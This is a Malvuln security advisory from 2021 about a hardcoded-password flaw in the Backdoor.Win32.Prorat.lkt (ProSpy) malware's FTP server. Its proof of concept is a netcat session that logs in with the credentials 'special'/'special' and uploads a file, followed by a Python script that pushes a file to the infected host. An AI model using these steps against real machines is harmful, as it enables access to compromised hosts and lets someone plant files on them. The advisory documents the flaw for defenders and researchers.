Backdoor.Win32.Prorat.lkt Hardcoded Password

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/dec8f9042986d64e29d62effb482290b.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Prorat.lkt  
Vulnerability: Weak Hardcoded Password  
Description: The ProSpy Server V1.9 malware runs an FTP component that listens on TCP port 2121. The FTP server requires authentication for remote user access. However, the username and password both use the word "special" which is both weak and hardcoded in plaintext within the executable.  
Type: PE32  
MD5: dec8f9042986d64e29d62effb482290b  
Vuln ID: MVID-2021-0360  
Dropped files: dxdiag.exe  
Disclosure: 10/04/2021  
  
Exploit/PoC:  
nc64.exe 192.168.18.125 2121  
220 ProSpy FTP Server ready.  
USER special  
331 Password required for special.  
PASS special  
230 User special logged in.  
SYST  
215 UNIX Type: L8 Internet Component Suite  
CDUP \  
250 CWD command successful. "C:/" is current directory.  
PASV  
227 Entering Passive Mode (192,168,18,125,194,23).  
STOR DOOM.js  
150 Opening data connection for DOOM.js.  
226 File received ok  
  
from socket import *  
  
MALWARE_HOST="192.168.18.125"  
PORT=49687  
DOOM="DOOM.js"  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
f = open(DOOM, "rb")  
EXE = f.read()  
s.send(EXE)  
  
while EXE:  
s.send(EXE)  
EXE=f.read()  
  
s.close()  
  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
  
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